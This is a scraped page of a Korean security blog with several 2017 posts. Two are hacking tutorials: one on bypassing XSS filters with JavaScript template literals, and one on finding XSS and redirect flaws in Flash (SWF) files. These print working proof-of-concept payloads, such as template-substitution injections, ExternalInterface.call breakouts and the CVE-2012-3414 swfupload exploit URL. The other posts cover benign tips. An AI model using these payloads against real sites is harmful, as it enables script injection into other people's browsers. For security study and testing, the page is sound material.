svg = qrcode.as_svg
html = qrcode.as_html
string = qrcode.as_ansi
string = qrcode.to_s



Reference

https://github.com/whomwah/rqrcode

Share: | Coffee Me:

6/13/2017

[WEB HACKING] Bypass XSS filter with back-tick(JS Template Literal String)

오랜만에(?) XSS 우회기법 정리 차 포스팅 작성합니다. 오늘은 Template literal String인 back-tick과 이를 이용한 XSS에 대해 이야기할까 합니다. 자 그럼 시작하도록 하죠.

나중에 XSS 우회기법끼리 모아서 정리좀 해놔야겠네요. 쓸데없이 보기만 불편해지는듯..


Template literal string?

Template Literal은 embedded expression을 허용하는 string literal입니다. 말이 어렵죠.
쉽게 이야기하자면 물결(~) 키의 특수문자인 back-tick(`)을 이용하여 문자열처럼 감쌌을 때를 의미합니다.

대표적으로 Multi-line string이라 하여 여러줄의 데이터를 표기할 때 사용하죠.
이 친구는 재미있는 특성을 가지고 있습니다.

1. 문자열 형태로 사용
아래 코드를 보시면 back-tick을 이용해 문자열 형태로 표현할 수 있습니다.

<html>
<script>

  console.log(`this is back-tick`);

</script>
</html>
결과 또한 잘 찍히네요.

this is back-tick

${} (template substitution) 을 이용한 String Interpolation

사실 ruby에서 기본적으로 제공하는 형태이기도 하죠. Javascript 에서도 back-tick을 이용하면 String Interpolation을 나타낼 수 있습니다.

function check(data)
{
  if(data != "test")
  {
    alert("Success");
  }
  else
  {
    alert(`Error: [${data}]`);
  }
}
잘 활용하면 위 코드처럼 상황에 따라 변동되는 값을 보여줄 수도 있겠지요.
자 눈치 빠르시면 이미 파악하셨을겁니다. 어떤것이 위험할지..

Bypass XSS with back-tick

back-tick을 사용하면 문자열 데이터 안에서 스크립트 문을 표현할 수 있습니다. 간단한 코드예시로 보면..

<html>
<script>

  console.log(`this back-tick ${alert(45)}`);
  console.log(`this back-tick ${document.location}`);

</script>
</html>
this back-tick undefined
back.html:5 this back-tick http://127.0.0.1/back.html


네 alert() 함수도 잘 실핼되고 console.log에 현재 위치도 잘 찍히네요.

맨위에서 이야기했듯이 back-tick을 이용해서 문자열을 표현하는 환경도 은근히 있습니다. 우리는 ${} (template substitution)만 잘 활용한다면 쉽게 XSS에 성공할 수 있겠지요.

Bypass Point 1 - &quot 제한환경

위에서 어느정도 설명드렸지만 한번 정리할겸 나열해봅니다.
일단 back-tick은 double, single quot 대용으로 사용할 수 있습니다. 공격구문에 문자열을 저장해야할 경우가 가끔씩 생기는데 그럴때마다 푸는 방법 중 하나로 사용될 수 있겠죠.

var payload = `alert(45)` // 오늘의 방법!
var payload = /alert(45)/
var payload = document.forms[0].s.value //s name form > value 값에 payload
// http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

Bypass Point 2 - back-tick 내 요청 파라미터 값 노출 시

back-tick은 문자열 형태를 유지하거나, 내부 스크립트 편의성을 위해 사용되기도 합니다.
back-tick 내 요청된 파라미터 값이 들어간다면 우리는 스크립트 문을 문자열 내부로 넣을 수 있습니다.
test.html?q=your%20input

var helpmsg = `This page is help page .. search for your input!`;
console.log(helpmsg);

This page is help page .. search for your input!


test.html?q=${alert(45)}

var helpmsg = `This page is help page .. search for ${alert(45)}`;
console.log(helpmsg);

This page is help page .. search for undefined



Bypass Point 3 - 괄호 대신 사용하기

괄호를 못쓰는 경우도 은근히 짜증납니다. 그럴 땐 back-tick을 이용해 괄호처럼 쓸 수 있습니다.

<html>
<script>

  alert`45`

</script>
</html>

마치 실행이 안될 것 같지만.. alert() 함수가 잘 실행됩니다.


Bypass Point 4 - 쿼테이션 내 back-tick을 이용한 탈출

이건 아주 일부 브라우저에서만 되는 방법입니다. (IE 구버전 =_=  / 6이랑 8)
원래는 쿼테이션 기호 안에 데이터는 문자열로 취급되지만 IE 구버전 한정으로 back-tick으로 스크립트 표현이 가능합니다.


<img src="x` `<script>alert(45)</script>"` `>
비슷하게 주석 탈출도 가능합니다.

<!-- `<img/src=z onerror=alert(45)//--!>
물론 4번째 포인트는 써먹기 좀 글렀습니다. =_= (하필 구버전 한정이라..ㅋㅋ)

Reference

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Template_literals
http://hacks.mozilla.or.kr/2015/08/es6-in-depth-template-strings-2/
oioi
Share: | Coffee Me:

6/10/2017

[WEB HACKING] SWF Debugging with ffdec(jpexs)

저는 swf 분석에선 ffdec를 사용합니다. 다만 최근에 처음 안 사실이.. jpexs랑 ffdec를 같은거더군요.(관심이 없었..)

아무튼 요즘 swf 취약점쪽으로 툴도 만드는겸 분석 방법에 대해 정리해둘까 합니다. (오늘은 디버깅이군요!)

ffdec 설치는.. http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html

Plugin setting

adobe 에서 flashplayer와 debugging 툴을 받아줍니다.
https://www.adobe.com/support/flashplayer/debug_downloads.html



Linux
DownloadDownload the Flash Player Projector (64-bit)
DownloadDownload the Flash Player Projector content debugger (64-bit)

Windows
DownloadDownload the Flash Player projector content debugger
DownloadDownload the Flash Player projector

MacIntosh
DownloadDownload the Flash Player projector content debugger
DownloadDownload the Flash Player projector


swc 관련(공통)
PlayerGlobal (.swc)
DownloadDownload the playerglobal.swc to target the latest version APIs

setting > Advanced Settings > Paths 하위에 각각 연동 어플리케이션 디렉토리 지정해줍니다.

SWF Debugging

ffdec를 실행후 상단 메뉴바에 보시면 debugging 관련 아이콘들이 보입니다. 다른 디버거와 비슷하니 금방 어떤용도인지 눈에 들어올겁니다. 일단 run, debug 모드가 있고 각각 swf를 실행하며 변수 데이터와 call stack 등에 변화를 지켜볼 수 있습니다.




위 이미지 중 코드부분을 보시면(중간에 빨간박스) 좌측에 행번호가 있는데 클릭으로 bp(breakpoint) 설정이 가능합니다. 다른 디버거와 똑같죠. debugging 모드 시작 시 f8, f9, f10 등 step over, continue 로 한줄한줄, 아니면 큰 뭉치로 보시면서 취약점을 찾아보시면 됩니다.


취약점 분석에 대한 내용은 아래 링크 참고해주세요.

http://www.hahwul.com/2017/06/web-hacking-swfflash-vulnerability.html

음 개인적으로는 디버깅으로 찾는거보다 코드보면서 먼저 찾고, 디버깅으로 필터링이나 보호기법이 어떤식으로 동작해서, 어떻게 풀려가는지 확인하는게 빠르고 정확해보이네요.

Proxy를 이용한 SWF Debugging

매번 swf를 받기 귀찮을땐 proxy 기능을 사용하시면 편합니다. 이를 활용하면 웹 트래픽중에서 swf들만 뽑아낼 수 있고, 바로 ffdec로 불러서 보거나 디버깅할 수 있습니다.

먼저 tool > proxy로 들어가면 아래와 같은 화면이 나타납니다.


여기서 포트 지정하시고 아래 부분에 Sniff 부분 필요하신 내용으로 체크해주시고 Start server 로 동작시켜주시면 됩니다. 그러면 웹 트래픽 중 잡힌 swf 는 로그처럼 쌓이게 되고, 더블클릭으로 쉽게 불러올 수 있습니다.

Reference

http://leopardan.tistory.com/224
Share: | Coffee Me:

6/07/2017

[HTML] data URL Scheme를 이용한 html 내 이미지 나타내기

vais 툴 개발중에 로고 이미지를 파일로 가져가지 않고 페이지에 넣는 방법에 대해 고민이였습니다.
물론 data URL Scheme를 이용한 방법이 적합하다고 생각되어 오래가지는 않았지만요.

오늘은 제가 개인적으로 좋아하는 data URL Scheme를 이용해서 <img> 태그에서 외부 이미지를 참조하지 않고 이미지를 나타내는 방법에 대해 알아보겠스니다. (data URL Scheme가 웹 해킹 시 은근히 유용하다는..)

Step1 - Image to base64 code


data URL Scheme에 데이터를 집어넣는 방법에는 여러가지가 있는데 대표적으로 base64로 인코딩한 방법과 url 인코딩을 통한 데이터 삽입이 있습니다. 이중에서 output이 상대적으로 짧은 base64가 효율적이기 때문에 base64를 <img> 태그 내 src에 넣어보죠.

먼저 이미지를 코드화해야합니다. 리눅스에서 기본 명령인(없으면 설치해주시고..) base64 명령을 통해 파일,이미지,음악 등 파일을 base64 형태로 변환할 수 있습니다.

#> base64 vais.png
iVBORw0KGgoAAAANSUhEUgAAANgAAACtCAYAAADSz7GfAAAAAXNSR0ICQMB9xQAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAZdEVYdFNvZnR3YXJlAE1pY3Jvc29mdCBPZmZp
Y2V/7TVxAAAWJklEQVR4Xu2df3AV13XHL6SWCWAHnASLmGDLTkAUOkXQ8mOGjCH5w6JtYlMnNZpp
YxG32O4kRbSTsXAby7TTIJo0iDQDeDwZY7dT7IwbbNczxn80mJIZIBkjy05GxgkWru0Kk8TgFPM7
qPvdd5+07767u3f37d23u+/7mVl09+np6emx3z3nnnPuueNGHAQhxArj5VdCiAUoMEIsQoERYhEK
jBCLUGCEWIQCI8QiFBghFqHACLEIBUaIRSgwQixCgRFiEQqMEItQYIRYhAIjxCIUGCEWocAIsQgF
RohFKDBCLEKBEWIRCowQi1BghFiEAiPEIhQYIRahwEgkXn31VfHCCy+I48ePy0dIEBQYCeXcuXNi
586dYs6cOe6xYsUKMX36dNHX1yefQfxgZ1+i5aWXXhKnTp0SBw8eFFu3bvW1WP39/WL+/PnyjKjQ
gpFRYKVaWlrEuHHjRFtbm2upNmzYEOgOwl0k/uRaYJgP4ALo6Ohw77gkPvgc16xZI44dOyYfMQPu
IwkALmLeOHDgwMiSJUvg2lYcPT098hkkCsPDwyMTJkyo+jzDjubm5pGzZ8/KVyE6cmXBcLfEnXbp
0qXu3EDl6aefliMSBbh5cSzRli1bhCNMeUZ05EZgTz31lBvB6u3tlY9UAzeRLkt0orqFoL29Xaxe
vVqeET8yLzDcXTHZXrVqldGFwLlYdKLelGC1tm/fLs9IEJkVGMS0cuVKV1xRIlU615Eky3333Sdu
[....]

위처럼 base64로 바꿔주면.. 아주 긴 코드가 나타납니다. (아무래도 이미지 바이너리이기 때문에 굉장히 문자가 많이 필요하죠.)

Step2 - <img> tag에 삽입하기

별거없습니다.. 그냥 <img> 내 src 구간에 data URL Scheme 를 명시하고 인코딩을 base64로 지정한 후 넣어주시면 이미지가 잘 출력됩니다.

data:image/png;base64,[데이터값!]

간략하게 풀어서 보면 data: 로 data URL Scheme 를 명시하고, type을 image/png로 나타내준 후 어떤 인코딩이 되었는지 웹에게 알려줍니다.
우리는 base64니깐 base64로 넘겨주고 인코딩된 데이터를 넘겨주시면 됩니다.

한줄로 다시 표현하면..

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANgAAACtCAYAAADSz7.......">
요런식이 되겠죠.


위 같은 방식으로 표현했을 땐 이미지 파일을 따로 두지 않고 하나의 html 파일에서 데이터를 불러올 수 있습니다.
하나의 html로 표현하기에는 아주 좋은 방법이나 약간의 문제점이 있습니다.

성능적인 이슈에선 좀 큰 부분이긴 합니다. 캐시되지 않기 때문에 매번 요청마다 이미지 크기만큼의 데이터를 불러와야해서
파일을 따로 두고 불러오는 형태보단 성능이 떨어지게됩니다.
Share: | Coffee Me:

6/04/2017

Virtual Reality in the Automotive Car

오늘은 toptal 콜라보 중 자동차와 가상현실 기술에 대한 이야기를 짧게 하려합니다. 상세한 내용은 Toptal 쪽 게시글 보시는게 좋을 것 같네요 :)

1.VirtualShowroom with VR

차량을 선택함에 있어 직접 눈으로 봐야하는 부분들을 VR,AR로 해소하는 형태로 진행되나 봅니다.
아무래도 직접 매장에 가지않고 차량의 내부나 외형, AR을 통해 주행 시 느낌들을 어느정도 볼 수 있기 때문에 조금 더 합리적인 소비가 가능하다고 이야기되네요.

2. Safety of Self-driving Cars

자율주행 자동차에 대한 연구또한 많이 이루어져있고, 실제 주행 등급의 자동차들이 나올만큼 가까워졌다는건 사실입니다. 자동차는 사람의 생명을 걸린 문제이기도 하고 굉장히 위험하기 때문에 까다로운 테스팅이 필요합니다.



이 테스팅 과정에 VR 기술을 통해 가상화된 환경을 통해 실제 자동차가 주행하지 않고 여러가지 상황에 대해 대처하는 법을 습득하는 그런 플랫폼이 존재하며 TASS International 에서 만든 PreScan 이라는 교통 시뮬레이션 플랫폼도 있습니다. 가상 환경을 통해서 실제 도로 환경을 습득하는 인공지능이라.. 매력적이네요.

3. Education

가상환경의 장점은 교육 목적일때 빛을 냅니다. 저 또한 다른 사람에게 강의를 하거나 교육을 할 때 가상환경을 많이 사용하고, 이는 좋은 효과를 냈었습니다. 물론 자동차 운전에도 같은 원리로 적용할 수 있습니다. 위에서 AI가 가상환경을 통해 습득했듯이 사람 또한 가상 환경을 통해 실제 도로에 나가지 않고 많은 것들을 습득할 수 있습니다. 다만..제 생각엔 실제 경험이 더 중요하다고 판단되지만요.

Toptal collaboration & Reference

This post originally apperared in Toptal
https://www.toptal.com/virtual-reality/virtual-reality-in-the-automotive-industry

Share: | Coffee Me:

6/03/2017

[DEBIAN] Sony VAIO on/off keyboard backlight on linux

메모차원에서 작성합니다.
VAIO 관련 디바이스 제어는 /sys/devices/platform/sony-laptop 에서 제어할 수 있습니다.

아래와 같이 배터리, 팬 속도, 키보드백라이트 등 여러가지를 설정할 수 있죠.


키보드 백라이트는 kbd_backlight 파일을 통해 제어가 가능합니다.

#> vim /sys/devices/platform/sony-laptop/kbd_backlight

내부 값이 0, 1 -1 등으로 상태를 나타낼 수 있음

0: 해제
1: 설정

간단한게 명령행으로 만들어서 쓰면 편하게 On/Off가 가능하겠지요. (전원관리차원)



#> vim ~/.bashrc

alias kbl_on='echo 1 > /sys/devices/platform/sony-laptop/kbd_backlight'
alias kbl_off='echo 0 > /sys/devices/platform/sony-laptop/kbd_backlight'
요런식으로 묶어두면 언제든 편하게 on/off가 가능합니다.

#> kbl_on
#> kbl_off
Share: | Coffee Me:

6/01/2017

[WEB HACKING] SWF(Flash) Vulnerability Analysis Techniques


오늘은 SWF내 취약점 분석에 대한 이야기를 할까합니다. SWF가 많이 적용된 환경은 가끔식 보는지라.. 오랜만에 분석하려하면 까먹고 기억 안나는 것들이 있습니다. 두고두고 볼 겸 포스팅으로 작성합니다.


SWF, 즉 플래시 파일은  대체로 간단한 영상(?) 재생이나 게임 제작등에 쓰이죠. 이 Flash는 ActionScript 라는 언어로 개발되며 ActionScript 를 통해 내부적인 로직을 가질 수 있습니다. 이를 통해서 음악 재생이 가능한 플레이어나 버튼 클릭으로 진행하는 게임 등 여러가지 콘텐츠 제작에 사용되고 있죠.

Why?

위에서 설명드렸지만 플래시 파일은 ActionScript 란 언어로 이루어져 있습니다. 이는 웹상에서 Javascript 로 동작을 구현하듯이 플래시 내 동작을 구현하는 함수이고 다른 웹 취약점과 동일하게 프로그램의 흐름을 비틀 수 있으니 취약점이 존재하고, 공격에 사용될 수 있죠.

플래시 파일에서 발생한 취약점은 몇가지 특징을 가지게 됩니다.

1. SWF는 웹 페이지와 별도로 분리되어 있기 때문에(그래서 Object 태그로 불러오죠) DOM 영역에 접근이 불가능합니다. 쿠키 탈취나 개인정보 수집은 어렵겠죠.

2. SWF는 브라우저 필터링의 영향을 받지 않습니다. 아주 중요한 부분인데 같은 Reflected XSS이여도.. 웹 브라우저 내 차단 기능에 걸리지 않고 구문 실행이 가능하다는 장점이 있습니다.

3. 대체로 특정 기능을 하는 SWF(File upload, Media player 등)는 여러군데 웹에서 사용되기 때문에 하나를 찾으면.. 여러 프레임워에서도 동일한 취약점을 발견할 수 있습니다. 그만큼 다른 코드에 비해 의존성이 높은편입니다.

그럼 분석 방법에 대해 풀어나가보죠. (물론 개인적인 스타일이니 필요한 부분만 습득하시고, 좋은 내용이 있으면 댓글로 공유주세요)

Step1 - SWF(Flash) Download and Infor Gather

이름을 거창하게 써 봤습니다. 일단 우리가 SWF에 대해서 기초적인 분석을 해야하는데 이는 웹 페이지에 있는 Object 코드와 SWF를 Local로 다운로드 하는 것 부터 시작합니다.

별다른건 아니니..

swf를 받아주시고 혹시나 object tag에서 우리가 정보로 활용 가능한 데이터가 있는지 미리 확인해줍니다.

#> wget http://127.0.0.1/target.swf

웹 소스를 보시고 뭐 얻을만한게 있는지 확인합니다.

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" class="F1302073621145148296_undefined" style="position: relative ! important;" id="calendar" align="middle" width="173" height="189">
        <param name="movie" value="/target.swf">
        <param name="quality" value="high">
        <param name="bgcolor" value="#FFFFFF">
        <param name="allowScriptAccess" value="always">
        <param name="mode" value="window">
        <param name="allowFullScreen" value="true">
        <param name="FlashVars" value="test=123&amp;intext=11"> <!-- 중요하다면 이 부분이겠죠. 매개변수 전달부분-->
    </object>
주석 달아놓은 것과 같이 매개변수 전달에 사용되는 FlashVars는 중요합니다. 나중에 좋은 데이터가 되지요.

자 그럼 이제 SWF를 까서.. ActionScript를 보며 분석을 시작하면됩니다.

Step2 - ActionScript Code 분석을 위한 FFDEC&Flasm 세팅

쉬운 분석을 위해서는 툴이 필요합니다. FFDEC나 flasm을 통해 SWF를 깔 수 있는데요.. 개인적으로 GUI에 보기편한 FFDEC를 추천드립니다.

FFDEC 설치하기
http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html

flasm을 통한 분석(글 중간에 flasm 사용법정도만..)
http://www.hahwul.com/2016/05/web-hacking-swf-debug-password-crack.html

물론 자동화하신다면 flasm이 갑일지도요! (사실은 ffdec가 더 편리하다는)

자 대충 위 글 보시고 설치하셨다면 이제 코드를 분석할 차례입니다. 저는 FFDEC 기준으로 작성하겠습니다.

Step3 - 인자값 전달부분 찾기

우리는 파라미터로 들어온 값이 어디서 쓰이고, 어떻게 가공되는지 알아야합니다. 이 전에 어떤 파라미터명으로 값이 들어올 수 있는지 알아야 하나하나 분석이 가능하겠죠.

ActionScript2
LoaderInfo(this.root.loaderInfo).parameters;


ActionScript3
this.loaderInfo.parameters;

약간의 차이가 있지만(사실 없는듯) 공통적으로 loaderInfo 의 paramters 에서 값을 받아옵니다. 아래와 같이 이런식으로 각각 변수에 값을 집어넣게 되죠.

params = this.loaderInfo.parameters;
param1 = params.title      
param2 = params.context    
위 코드가 있을 때 ~~~.swf?title=asdf&context=zzzz 라고 요청을 하게 되면 각각 param1과 param2는 asdf와 zzzz 값을 저장하게 됩니다.
자 이제 우리는 파라미터의 인입구간을 찾았으니.. 이 값들이 어디서 쓰이는지 천천히 분석하면 됩니다.

대신! 취약할 수 있는 함수에 대해 조금 소개해드리도록 하죠.

Vulnerability Point - ExternalInterface.call() function

가장 먼저 소개해드릴 함수는 ExternalInterface.call() 입니다. 이 친구는 여러 SWF에 많이 사용되는 함수이고 당연히 취약점도 많이 가지고 있습니다.

ExternalInterface.call()는 SWF 내 Javascript 구문을 생성하는 함수입니다. 이 ExternalInterface.call 은 아래와 같은 실행 구조를 가집니다. (Javascript 를 만드는 과정?)

try { __flash__toXML(사용자입력값,사용자입력값,....) ; } catch (e) { "<undefined/>"; }

요런형태로 __flash__toXML 함수를 통해 실행이됩니다. 중요한 부분이니 꼭 알아두시길..

자 이제 찾아봅시다. FFDEC > Tools > Text Search 기능을 이용해서 함수명 기준으로 찾으시면 여러가지가 나올껍니다.

아래 코드를 보시면 ExternalInterface.call이 사용되고 있네요. (예시로 든 코드입니다)
만약 여기 인자값으로 들어가는 params.functionName 과 params.returnAddress가 두번째 코드와 같이 사용자 입력값으로 제어되고 그 값에 대한 제한(특수문자 필터링, WhiteList기반 제어 등)이 없다면

Trigger porint

private function runAnimatation() : void
      {
         try
         {
            ExternalInterface.call(String(params.functionName),params.returnAddress);
         }
         catch(e:Error)
         {

         }
      }
아까 인자값 받는 부분에서 보았듯이.. (params 가 위에처럼 받았다고 해주세요. 이해를 위해) functionName과 returnAddress 로 전달된 값은 ExternalInterface.call로 넘어가게 됩니다.

다만 재미있는점은 사용자 입력값이 String 형태로 넘아가는게 아니라 데이터 그대로 넘어가게됩니다. 결국 코드로써 동작 가치가 있다는 소리죠. 그래서.. Javascript 내 XSS를 삽입하는 것 처럼 구문 탈출으로 공격자가 의도한 구문을 수행할 수 있습니다.

.swf?functionName=asd&returnAddress=\"))} catch(e) {alert(45);}//
만약 위와 같은 형태로 입력값을 전달했다면.. functionName과 returnAddress가 ExternalInterface.call로 전달되고..
Javascript 생성을 위해 아래 코드가 실행될껍니다.

try { __flash__toXML(사용자입력값,사용자입력값,....) ; } catch (e) { "<undefined/>"; } 
실제 값이 들어간다면..

try { __flash__toXML(asd,"\\"))} catch(e) {alert(45);}//) ; } catch (e) { "<undefined/>"; } 
와 같은 형태가 되고 __flash_toXML 구문을 탈출하여 별도의 스크립트 동작이 가능해지죠.

조금 더 쉬운방법으로 볼까요?

ExternalInterface.call() 함수는 Javascript 생성하고 실행하는 함수입니다. 눈치채신분들도 있겠지만.. 굳이 탈출 안하고 바로 JS를 실행하셔도 됩니다.

ExternalInterface.call(실행하고픈 함수,인자값)

그러면..요런식으로 입력한다면

.swf?functionName=alert&returnAddress=45
ExternalInterface.call이 만든 JS 코드는 alert(45) 라는 구문이 만들어지죠. 그래서 임의로 지정한 함수를 SWF가 실행시키도록 할 수 있습니다. 이런식으로 Code injection 및 XSS 가 가능합니다.

Vulnerability Point - geturl() function

geturl() 함수는 사용자가 웹 요청을 하도록 발생시키는 코드입니다. 일반적으로 flash내 버튼 입력 시 새로운 웹 창을 연다거나.. 이런 행위에 사용되는데, 이를 활용하면 XSS 나 URL Redirection 이 가능합니다.

아까처럼 params 로 입력된 값이 geturl() 함수의 인자값으로 들어간다면.. 우리는 요런 생각을 할 수 있겠지요.

.swf?url=http://www.hahwul.com
.swf?url=javascript:alert(45)


이 값이.. flash 내부로 넘어오면

geturl("http://www.hahwul.com")
geturl("javascript:alert(45)")


요런 형태로 되고 일반적인 URL Redirection & Reflected XSS와 동일한 영향력을 가지게됩니다.

swfupload.swf 취약점


예전에 CVE-2012-3414로 올라온 swfupload.swf 의 xss(object injection) 취약점을 가지고 한번 보도록하죠.

공격코드는 아래와 같습니다.
/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28%27HAHWUL%27%29;//

자 일단 movieName이 문제가 되는데.. movieName이 사용된 곳을 보면..

this.movieName = root.loaderInfo.parameters.movieName; // movieName 파라미터에 lodaerinfo로 사용자 입력값을 받습니다. 

// 아래 구간에서 각각 함수의 callback을 정하는데.. 
// 일단 별도의 필터링 없이 그대로 값이 들어갑니다.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";
이 callback들은 ExternalInterface.call()로 직접 파라미터 값이 들어가기 때문에 공격자가 강제로 스크립트 구문을 탈출시켜(아까 위에서 본 방법) 임의의 코드를 실행하도록 한거죠.

Finaly

오랜만에 취약점이 아닌 기술과 분석 방법을 가지고 이야기하려니 손이 아프네요(양이 은근 많아지는..)
Flash, 즉 SWF도 웹 코드와 동일하게 스크립트가 동작하고 우리는 흐름을 비틀어서 개발자가 의도하지 않은 행위를 하는 것이니 어렵게 생각하실 것 없습니다. (주변에 은근히 SWF로 골아파하시는 분들이..)

소개해드린건 XSS와 URL Redirection 이지만 다른 기법들을 접목하면 여러가지 행위가 가능합니다. 기존 웹 해킹 기법 적용해보고, 새로운 기법에 대해 연구해보시면 분명 좋은 결과가 있을겁니다.

(FileUpload 기능 잘 분석하면 WebShell도 가능하죠ㅋ)

Vulnerable Function


loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText

Reference

http://help.adobe.com/ko_KR/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cb2.html
http://www.hahwul.com/2015/04/swf-ffdec-jpex-free-flash-decompiler.html
http://www.cvedetails.com/cve/CVE-2012-3414/
Share: | Coffee Me: